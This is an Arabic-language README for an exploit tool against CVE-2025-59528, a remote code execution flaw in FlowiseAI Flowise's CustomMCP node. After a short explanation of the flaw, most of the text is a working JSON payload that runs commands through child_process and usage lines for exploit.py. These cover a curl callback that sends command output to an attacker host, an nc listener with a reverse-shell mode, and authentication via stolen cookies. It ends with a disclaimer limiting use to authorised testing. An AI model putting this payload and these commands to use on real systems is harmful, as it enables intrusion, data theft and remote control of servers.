
CVE-2025-59528 - تنفيذ التعليمات البرمجية عن بُعد في FlowiseAI CustomMCP
CVSS 10.0 (حرج) | RCE أعمى | FlowiseAI Flowise >= 2.2.7-patch.1 و < 3.0.6
ثغرة حرجة لتنفيذ التعليمات البرمجية عن بعد في عقدة CustomMCP من FlowiseAI Flowise. تمرر الدالة convertToValidJSONString الإدخال المقدم من المستخدم من معامل mcpServerConfig مباشرة إلى منشئ Function() في JavaScript المكافئ وظيفياً لـ eval() مما يسمح بتنفيذ تعليمات برمجية JavaScript عشوائية بامتيازات كاملة لوقت تشغيل Node.js.
Function()JSON5.parse()في packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts، الأسطر 262–270:
function convertToValidJSONString(inputString) {
return Function('return ' + inputString)(); // ← arbitrary code execution
}
تدفق التلوث:
HTTP POST → /api/v1/node-load-method/customMCP
→ controller.getSingleNodeAsyncOptions()
→ service layer
→ CustomMCP.listActions()
→ convertToValidJSONString(mcpServerConfig) // Function('return ' + userInput)()
هذه ثغرة RCE أعمى لا ينعكس مخرجات الأمر في استجابة HTTP. استخدم تقنيات الاستدعاء (curl/wget) أو شل عكسي لتأكيد التنفيذ.
| الشرط | التفاصيل |
|---|---|
| إصدار Flowise | >= 2.2.7-patch.1, < 3.0.6 |
| الوصول للشبكة | نقطة نهاية API على المنفذ 3000 (الافتراضي) |
| المصادقة | اختيارية للإصدار < 3.0.1، مطلوبة للإصدار >= 3.0.1 |
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "{x:(function(){const cp=process.mainModule.require('child_process');cp.exec('COMMAND',()=>{});return 1;})()}"
}
}
pip install requests
python3 exploit.py -t http://target:3000 --mode check --email [email protected] --password pass
# Exfiltrate output via callback
python3 exploit.py -t http://target:3000 --mode exec \
-c "curl http://ATTACKER:PORT/\$(id | base64)" \
--email [email protected] --password pass
# Start listener
nc -lvnp 4444
# Fire exploit (auto-tries bash, nc, python)
python3 exploit.py -t http://target:3000 --mode revshell \
--lhost ATTACKER_IP --lport 4444 \
--email [email protected] --password pass
# JWT auth (Flowise >= 3.0.1)
--email [email protected] --password pass
# Basic auth (Flowise < 3.0.1 with FLOWISE_USERNAME env)
--username admin --password pass
# Raw cookie string (fallback)
--cookie "token=eyJ...;refreshToken=eyJ...;connect.sid=s%3A..."
/api/v1/node-load-method/customMCPتم توفير هذه الأداة لأغراض اختبار الأمان المصرح به والتعليم فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. احصل دائمًا على التصريح المناسب قبل الاختبار.